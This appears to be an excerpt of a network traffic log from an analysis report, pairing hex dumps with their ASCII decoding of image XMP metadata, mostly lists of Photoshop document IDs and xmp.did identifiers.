2022-07-20 17:31:06 UTC	2500	IN	Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 61 37 39 39 36 36 37 2d 62 30 37 36 2d 31 31 64 38 2d 39 38 34 34 2d 66 38 30 31 38 64 30 61 35 31 34 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 62 32 33 32 66 34 31 2d 65 39 31 38 2d 31 31 65 34 2d 38 32 64 66 2d 39 34 34 35 31 64 33 37 38 33 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 62 61 31 38 36 63 39 2d 61 32 35 62 2d 31 31 65 37 2d 38 31 36 33 2d 38 63 61 38 61 66 32 65 35 33 65 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 Data Ascii: i> <rdf:li>adobe:docid:photoshop:9a799667-b076-11d8-9844-f8018d0a514e</rdf:li> <rdf:li>adobe:docid:photoshop:9b232f41-e918-11e4-82df-94451d378331</rdf:li> <rdf:li>adobe:docid:photoshop:9ba186c9-a25b-11e7-8163-8ca8af2e53e5</rdf:li> <rdf:li>adobe:docid:phot
2022-07-20 17:31:06 UTC	2516	IN	Data Raw: 66 33 2d 31 31 64 66 2d 61 33 37 39 2d 63 64 64 66 64 65 30 64 62 65 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 66 66 32 31 32 61 63 2d 38 63 66 33 2d 31 31 65 37 2d 62 33 30 63 2d 38 61 65 39 35 36 34 31 35 32 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 30 37 32 32 36 37 35 2d 34 64 63 64 2d 31 31 65 32 2d 61 30 62 66 2d 39 64 33 64 39 62 34 38 63 34 30 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 30 65 36 61 34 31 39 2d 39 65 62 34 2d 31 31 37 37 2d 62 62 66 61 2d 39 36 38 62 61 38 63 37 37 33 30 30 3c 2f Data Ascii: f3-11df-a379-cddfde0dbe41</rdf:li> <rdf:li>adobe:docid:photoshop:cff212ac-8cf3-11e7-b30c-8ae956415209</rdf:li> <rdf:li>adobe:docid:photoshop:d0722675-4dcd-11e2-a0bf-9d3d9b48c40e</rdf:li> <rdf:li>adobe:docid:photoshop:d0e6a419-9eb4-1177-bbfa-968ba8c77300</
2022-07-20 17:31:06 UTC	2688	IN	Data Raw: 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 38 63 66 31 39 30 35 2d 64 32 64 65 2d 31 31 65 37 2d 39 61 65 65 2d 38 61 30 38 33 36 38 66 34 36 38 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 38 64 37 30 64 65 35 2d 61 65 63 38 2d 31 31 64 39 2d 38 62 35 37 2d 38 63 61 61 35 33 61 38 34 31 63 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 39 31 37 36 38 37 38 2d 34 61 39 65 2d 31 31 37 38 2d 61 32 34 63 2d 66 31 30 32 63 35 38 30 64 64 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 39 33 31 61 66 39 Data Ascii: obe:docid:photoshop:e8cf1905-d2de-11e7-9aee-8a08368f468c</rdf:li> <rdf:li>adobe:docid:photoshop:e8d70de5-aec8-11d9-8b57-8caa53a841c7</rdf:li> <rdf:li>adobe:docid:photoshop:e9176878-4a9e-1178-a24c-f102c580dd27</rdf:li> <rdf:li>adobe:docid:photoshop:e931af9
2022-07-20 17:31:06 UTC	2768	IN	Data Raw: 30 43 31 45 34 44 44 36 31 31 44 45 39 46 34 31 42 36 46 46 35 37 45 34 44 31 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 43 41 43 38 43 30 33 38 38 34 34 44 45 31 31 41 34 41 36 38 31 36 38 44 37 34 32 41 36 35 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 43 43 34 35 41 39 38 33 45 38 46 44 44 31 31 38 33 37 35 44 42 38 46 44 36 45 37 31 41 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 43 46 33 32 31 38 30 38 38 43 43 44 46 31 31 38 32 30 45 38 34 46 31 46 38 39 44 31 42 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 44 31 46 31 34 33 43 35 33 31 44 45 30 31 31 41 41 38 44 42 45 42 44 42 36 46 38 38 30 35 32 3c 2f 72 64 66 3a 6c Data Ascii: 0C1E4DD611DE9F41B6FF57E4D162</rdf:li> <rdf:li>uuid:1CAC8C038844DE11A4A68168D742A657</rdf:li> <rdf:li>uuid:1CC45A983E8FDD118375DB8FD6E71A63</rdf:li> <rdf:li>uuid:1CF3218088CCDF11820E84F1F89D1BC6</rdf:li> <rdf:li>uuid:1D1F143C531DE011AA8DBEBDB6F88052</rdf:l
2022-07-20 17:31:06 UTC	2784	IN	Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 33 30 36 42 39 34 31 32 32 33 31 45 30 31 31 39 37 36 38 44 45 32 46 35 32 31 31 32 46 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 33 34 34 42 35 31 37 44 41 30 43 44 45 31 31 41 42 37 36 38 30 36 44 38 46 34 31 31 39 31 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 33 45 34 45 35 30 33 35 36 43 45 44 42 31 31 41 43 45 44 43 46 45 45 44 39 35 44 42 44 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 33 46 32 31 46 39 41 31 38 35 38 45 30 31 31 41 36 30 41 41 30 31 37 36 36 34 35 46 39 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 33 46 33 42 39 42 44 42 39 30 37 45 31 31 31 38 Data Ascii: :li> <rdf:li>uuid:5306B9412231E0119768DE2F52112F6B</rdf:li> <rdf:li>uuid:5344B517DA0CDE11AB76806D8F41191A</rdf:li> <rdf:li>uuid:53E4E50356CEDB11ACEDCFEED95DBD40</rdf:li> <rdf:li>uuid:53F21F9A1858E011A60AA0176645F9EE</rdf:li> <rdf:li>uuid:53F3B9BDB907E1118
2022-07-20 17:31:06 UTC	2792	IN	Data Raw: 37 30 43 31 31 44 45 41 45 41 38 44 31 41 31 41 33 46 37 46 43 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 43 30 41 43 34 30 38 35 45 45 30 45 30 31 31 38 44 39 39 44 31 33 36 42 33 30 35 35 33 44 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 43 31 33 32 46 36 33 44 43 32 45 45 30 31 31 41 32 41 45 46 30 37 39 34 35 43 39 32 35 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 43 32 32 44 44 36 35 46 31 33 42 45 31 31 31 42 32 37 32 45 46 35 37 41 34 35 44 44 37 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 43 32 42 37 33 34 46 33 32 35 32 44 43 31 31 41 34 34 43 43 42 45 37 34 33 33 33 34 36 42 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 Data Ascii: 70C11DEAEA8D1A1A3F7FCE5</rdf:li> <rdf:li>uuid:6C0AC4085EE0E0118D99D136B30553D5</rdf:li> <rdf:li>uuid:6C132F63DC2EE011A2AEF07945C92559</rdf:li> <rdf:li>uuid:6C22DD65F13BE111B272EF57A45DD746</rdf:li> <rdf:li>uuid:6C2B734F3252DC11A44CCBE7433346B6</rdf:li> <r
2022-07-20 17:31:06 UTC	2824	IN	Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 43 36 42 39 31 33 34 33 33 31 31 44 44 31 31 39 37 44 38 41 31 39 43 37 39 35 36 32 44 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 43 38 43 36 44 31 35 41 42 38 44 31 31 45 31 42 31 45 38 39 45 31 46 30 42 30 38 42 44 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 43 39 31 31 42 38 37 35 36 35 38 31 31 44 43 39 38 33 38 38 33 42 31 31 43 39 31 37 43 41 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 43 45 34 41 34 46 36 35 46 41 45 44 43 31 31 39 46 45 36 41 38 37 31 44 31 39 41 31 45 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 43 46 44 30 46 30 31 45 41 34 30 45 32 31 31 41 Data Ascii: :li> <rdf:li>uuid:9C6B91343311DD1197D8A19C79562DAA</rdf:li> <rdf:li>uuid:9C8C6D15AB8D11E1B1E89E1F0B08BD72</rdf:li> <rdf:li>uuid:9C911B87565811DC983883B11C917CA3</rdf:li> <rdf:li>uuid:9CE4A4F65FAEDC119FE6A871D19A1E4D</rdf:li> <rdf:li>uuid:9CFD0F01EA40E211A
2022-07-20 17:31:06 UTC	4895	IN	Data Raw: 43 35 30 42 32 46 42 31 31 44 44 41 42 34 46 45 36 33 31 43 38 44 31 33 34 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 39 33 39 42 33 32 45 38 43 30 34 44 45 31 31 38 30 39 32 38 46 45 45 30 33 30 35 42 41 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 39 42 43 33 35 31 45 36 39 45 38 44 44 31 31 42 43 44 34 43 31 44 36 45 42 45 42 31 30 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 41 32 30 43 44 43 39 32 33 33 31 45 30 31 31 39 37 36 38 44 45 32 46 35 32 31 31 32 46 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 41 36 33 34 45 38 44 37 34 43 42 45 30 31 31 42 33 46 45 44 32 34 38 33 31 38 34 38 46 35 39 3c 2f 72 64 66 3a 6c 69 Data Ascii: C50B2FB11DDAB4FE631C8D13434</rdf:li> <rdf:li>uuid:D939B32E8C04DE1180928FEE0305BA35</rdf:li> <rdf:li>uuid:D9BC351E69E8DD11BCD4C1D6EBEB1005</rdf:li> <rdf:li>uuid:DA20CDC92331E0119768DE2F52112F6B</rdf:li> <rdf:li>uuid:DA634E8D74CBE011B3FED24831848F59</rdf:li
2022-07-20 17:31:06 UTC	4903	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 36 30 34 43 30 43 45 44 38 36 33 45 31 31 31 38 35 46 44 46 38 34 32 37 42 34 30 37 44 45 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 36 36 39 32 46 36 32 32 35 42 46 44 42 31 31 38 38 44 34 42 31 34 41 39 34 39 44 34 44 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 36 37 33 39 46 35 38 44 41 34 33 31 31 45 30 41 34 37 31 39 35 30 39 37 45 33 44 31 37 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 36 44 32 42 37 36 46 43 46 42 37 45 34 31 31 38 38 33 39 42 42 45 35 46 30 39 36 33 32 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 36 45 31 42 35 33 34 31 43 42 35 44 Data Ascii: /rdf:li> <rdf:li>uuid:F604C0CED863E11185FDF8427B407DE6</rdf:li> <rdf:li>uuid:F6692F6225BFDB1188D4B14A949D4D6A</rdf:li> <rdf:li>uuid:F6739F58DA4311E0A47195097E3D1770</rdf:li> <rdf:li>uuid:F6D2B76FCFB7E4118839BBE5F0963273</rdf:li> <rdf:li>uuid:F6E1B5341CB5D
2022-07-20 17:31:06 UTC	4919	IN	Data Raw: 41 41 35 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 32 32 41 41 43 37 44 35 44 34 45 39 32 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 32 32 41 42 46 34 41 35 34 43 35 45 39 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 32 32 41 43 30 35 32 46 46 42 33 37 32 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 32 32 41 43 34 41 33 41 45 46 32 37 31 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: AA52A</rdf:li> <rdf:li>xmp.did:0280117407206811822AAC7D5D4E92A8</rdf:li> <rdf:li>xmp.did:0280117407206811822ABF4A54C5E908</rdf:li> <rdf:li>xmp.did:0280117407206811822AC052FFB372EB</rdf:li> <rdf:li>xmp.did:0280117407206811822AC4A3AEF271C5</rdf:li> <rdf:li>
2022-07-20 17:31:06 UTC	4935	IN	Data Raw: 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 38 43 36 38 41 36 44 36 42 42 39 34 32 46 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 38 43 36 38 43 37 34 36 30 30 39 30 43 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 39 39 39 44 32 36 44 39 44 46 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 42 32 30 45 33 44 41 45 37 39 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 Data Ascii: f:li>xmp.did:068011740720681188C68A6D6BB942FA</rdf:li> <rdf:li>xmp.did:068011740720681188C68C7460090C9A</rdf:li> <rdf:li>xmp.did:06801174072068118A6D999D26D9DFD0</rdf:li> <rdf:li>xmp.did:06801174072068118A6DB20E3DAE7970</rdf:li> <rdf:li>xmp.did:0680117407
2022-07-20 17:31:06 UTC	4943	IN	Data Raw: 64 35 65 38 37 2d 36 64 64 61 2d 34 39 36 31 2d 39 38 65 32 2d 62 61 39 37 38 31 38 38 63 66 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 39 34 32 33 66 30 2d 66 35 30 61 2d 32 39 34 66 2d 39 34 38 32 2d 37 38 34 63 37 33 33 66 66 39 66 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 41 37 38 32 44 42 30 45 32 30 36 38 31 31 39 33 30 41 42 37 45 41 33 39 41 38 34 30 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 41 43 44 33 44 32 43 42 39 32 45 30 31 31 38 33 38 33 41 37 30 37 39 32 43 43 46 45 46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 42 38 35 33 37 41 39 38 38 32 45 32 31 31 41 45 Data Ascii: d5e87-6dda-4961-98e2-ba978188cf77</rdf:li> <rdf:li>xmp.did:089423f0-f50a-294f-9482-784c733ff9fa</rdf:li> <rdf:li>xmp.did:08A782DB0E206811930AB7EA39A8405C</rdf:li> <rdf:li>xmp.did:08ACD3D2CB92E0118383A70792CCFEF7</rdf:li> <rdf:li>xmp.did:08B8537A9882E211AE
2022-07-20 17:31:06 UTC	4959	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 36 35 39 42 31 31 42 43 43 32 30 36 38 31 31 38 41 36 44 39 39 30 33 46 36 36 44 38 35 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 36 35 45 46 45 33 34 33 31 32 30 36 38 31 31 38 38 43 36 41 42 44 44 36 41 45 37 31 35 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 36 36 34 65 63 63 65 2d 61 65 64 65 2d 38 39 34 38 2d 38 33 32 31 2d 32 37 63 66 64 30 37 61 33 63 64 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 36 36 38 63 37 66 33 2d 39 65 61 61 2d 34 62 61 34 2d 38 61 38 32 2d 36 34 31 35 30 34 38 36 30 66 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 Data Ascii: <rdf:li>xmp.did:1659B11BCC2068118A6D9903F66D8554</rdf:li> <rdf:li>xmp.did:165EFE343120681188C6ABDD6AE715D6</rdf:li> <rdf:li>xmp.did:1664ecce-aede-8948-8321-27cfd07a3cd9</rdf:li> <rdf:li>xmp.did:1668c7f3-9eaa-4ba4-8a82-641504860f55</rdf:li> <rdf:li>xmp.did
2022-07-20 17:31:06 UTC	4975	IN	Data Raw: 78 6d 70 2e 64 69 64 3a 32 36 33 39 32 44 37 34 36 31 33 32 31 31 45 31 42 45 37 44 42 44 31 42 41 45 42 44 41 44 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 36 33 44 36 33 35 39 35 41 46 32 44 46 31 31 39 39 33 33 43 31 36 33 34 44 38 39 43 38 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 36 34 30 31 42 32 31 37 44 32 38 36 38 31 31 38 43 31 34 41 46 39 44 32 37 33 35 41 34 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 36 34 41 38 39 43 37 35 39 32 33 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 36 36 31 36 64 38 39 2d 35 38 31 35 2d 34 Data Ascii: xmp.did:26392D74613211E1BE7DBD1BAEBDADF9</rdf:li> <rdf:li>xmp.did:263D63595AF2DF119933C1634D89C8A8</rdf:li> <rdf:li>xmp.did:26401B217D2868118C14AF9D2735A483</rdf:li> <rdf:li>xmp.did:264A89C759236811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:26616d89-5815-4
2022-07-20 17:31:06 UTC	4983	IN	Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 46 32 35 44 38 36 36 32 30 36 36 31 31 45 30 39 39 31 41 41 44 44 32 32 33 43 33 31 30 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 46 33 33 30 36 38 43 39 38 32 30 36 38 31 31 38 30 38 33 41 32 42 36 43 32 38 33 31 33 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 46 34 42 30 42 34 36 32 45 37 45 45 31 31 31 38 39 30 42 38 34 43 42 44 43 33 33 37 39 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 46 35 31 43 32 42 42 34 31 32 30 36 38 31 31 39 34 42 31 46 43 38 36 30 43 39 42 36 36 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 46 35 Data Ascii: li> <rdf:li>xmp.did:2F25D866206611E0991AADD223C31085</rdf:li> <rdf:li>xmp.did:2F33068C982068118083A2B6C28313CA</rdf:li> <rdf:li>xmp.did:2F4B0B462E7EE111890B84CBDC337927</rdf:li> <rdf:li>xmp.did:2F51C2BB4120681194B1FC860C9B662E</rdf:li> <rdf:li>xmp.did:2F5
2022-07-20 17:31:06 UTC	4999	IN	Data Raw: 36 38 31 31 38 43 31 34 45 43 36 39 39 31 34 43 38 35 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 43 34 33 37 43 36 45 41 43 32 30 36 38 31 31 41 42 30 38 45 36 42 36 30 42 43 41 34 45 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 43 34 33 42 42 46 43 38 44 33 44 45 30 31 31 41 32 39 34 44 33 42 42 33 43 31 42 42 31 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 43 34 37 33 44 31 31 46 39 32 34 36 38 31 31 39 39 34 43 41 30 45 36 41 42 31 43 31 35 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 43 37 32 35 41 32 30 44 42 31 45 31 31 45 30 39 33 36 44 43 38 32 38 45 41 38 37 45 42 45 33 3c 2f 72 Data Ascii: 68118C14EC69914C8563</rdf:li> <rdf:li>xmp.did:3C437C6EAC206811AB08E6B60BCA4EAA</rdf:li> <rdf:li>xmp.did:3C43BBFC8D3DE011A294D3BB3C1BB118</rdf:li> <rdf:li>xmp.did:3C473D11F9246811994CA0E6AB1C1578</rdf:li> <rdf:li>xmp.did:3C725A20DB1E11E0936DC828EA87EBE3</r
2022-07-20 17:31:07 UTC	5269	IN	Data Raw: 35 36 39 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 41 35 38 44 31 36 30 32 36 32 30 36 38 31 31 38 30 38 33 41 34 42 35 42 38 30 44 44 42 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 41 37 44 41 32 39 30 31 30 35 44 31 31 45 30 38 39 30 43 44 38 38 39 43 30 39 45 45 44 35 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 41 38 44 30 31 43 38 35 30 43 36 45 33 31 31 41 43 30 34 42 30 36 30 45 30 35 42 39 36 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 41 38 46 37 42 36 46 30 38 32 30 36 38 31 31 42 34 42 43 43 32 41 38 45 42 43 37 38 31 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: 56907</rdf:li> <rdf:li>xmp.did:4A58D160262068118083A4B5B80DDB63</rdf:li> <rdf:li>xmp.did:4A7DA290105D11E0890CD889C09EED57</rdf:li> <rdf:li>xmp.did:4A8D01C850C6E311AC04B060E05B9624</rdf:li> <rdf:li>xmp.did:4A8F7B6F08206811B4BCC2A8EBC78135</rdf:li> <rdf:li>
2022-07-20 17:31:07 UTC	5277	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 63 61 38 64 65 62 2d 38 62 62 65 2d 65 64 34 63 2d 39 37 65 64 2d 30 65 63 31 33 63 63 66 65 64 36 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 64 30 35 61 35 37 2d 64 38 31 36 2d 34 30 63 34 2d 62 66 65 34 2d 61 33 39 32 30 37 33 64 36 32 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 65 32 33 39 31 37 2d 35 33 33 38 2d 34 64 31 61 2d 39 66 66 63 2d 31 33 38 63 37 61 39 37 30 33 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 66 63 33 33 63 38 2d 39 62 66 36 2d 34 35 66 31 2d 62 66 36 37 2d 63 35 61 63 62 39 35 38 65 33 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 Data Ascii: df:li> <rdf:li>xmp.did:51ca8deb-8bbe-ed4c-97ed-0ec13ccfed6a</rdf:li> <rdf:li>xmp.did:51d05a57-d816-40c4-bfe4-a392073d6235</rdf:li> <rdf:li>xmp.did:51e23917-5338-4d1a-9ffc-138c7a970343</rdf:li> <rdf:li>xmp.did:51fc33c8-9bf6-45f1-bf67-c5acb958e322</rdf:li>
2022-07-20 17:31:07 UTC	5293	IN	Data Raw: 3a 36 31 41 45 37 34 31 39 33 35 32 30 36 38 31 31 39 35 46 45 44 38 42 44 46 38 34 31 43 37 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 31 45 41 43 39 31 44 31 37 32 30 36 38 31 31 38 44 42 42 44 44 46 43 38 39 42 36 31 38 42 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 31 46 42 37 32 33 31 41 45 44 46 45 30 31 31 39 45 37 42 44 35 41 32 43 32 44 33 37 46 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 32 31 37 37 46 44 31 30 35 32 33 36 38 31 31 38 32 32 41 44 30 37 43 37 43 43 34 33 38 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 32 33 43 32 42 38 30 32 31 32 42 36 38 31 31 38 37 31 46 46 35 Data Ascii: :61AE74193520681195FED8BDF841C77D</rdf:li> <rdf:li>xmp.did:61EAC91D172068118DBBDDFC89B618BD</rdf:li> <rdf:li>xmp.did:61FB7231AEDFE0119E7BD5A2C2D37F2B</rdf:li> <rdf:li>xmp.did:62177FD105236811822AD07C7CC438D7</rdf:li> <rdf:li>xmp.did:623C2B80212B6811871FF5
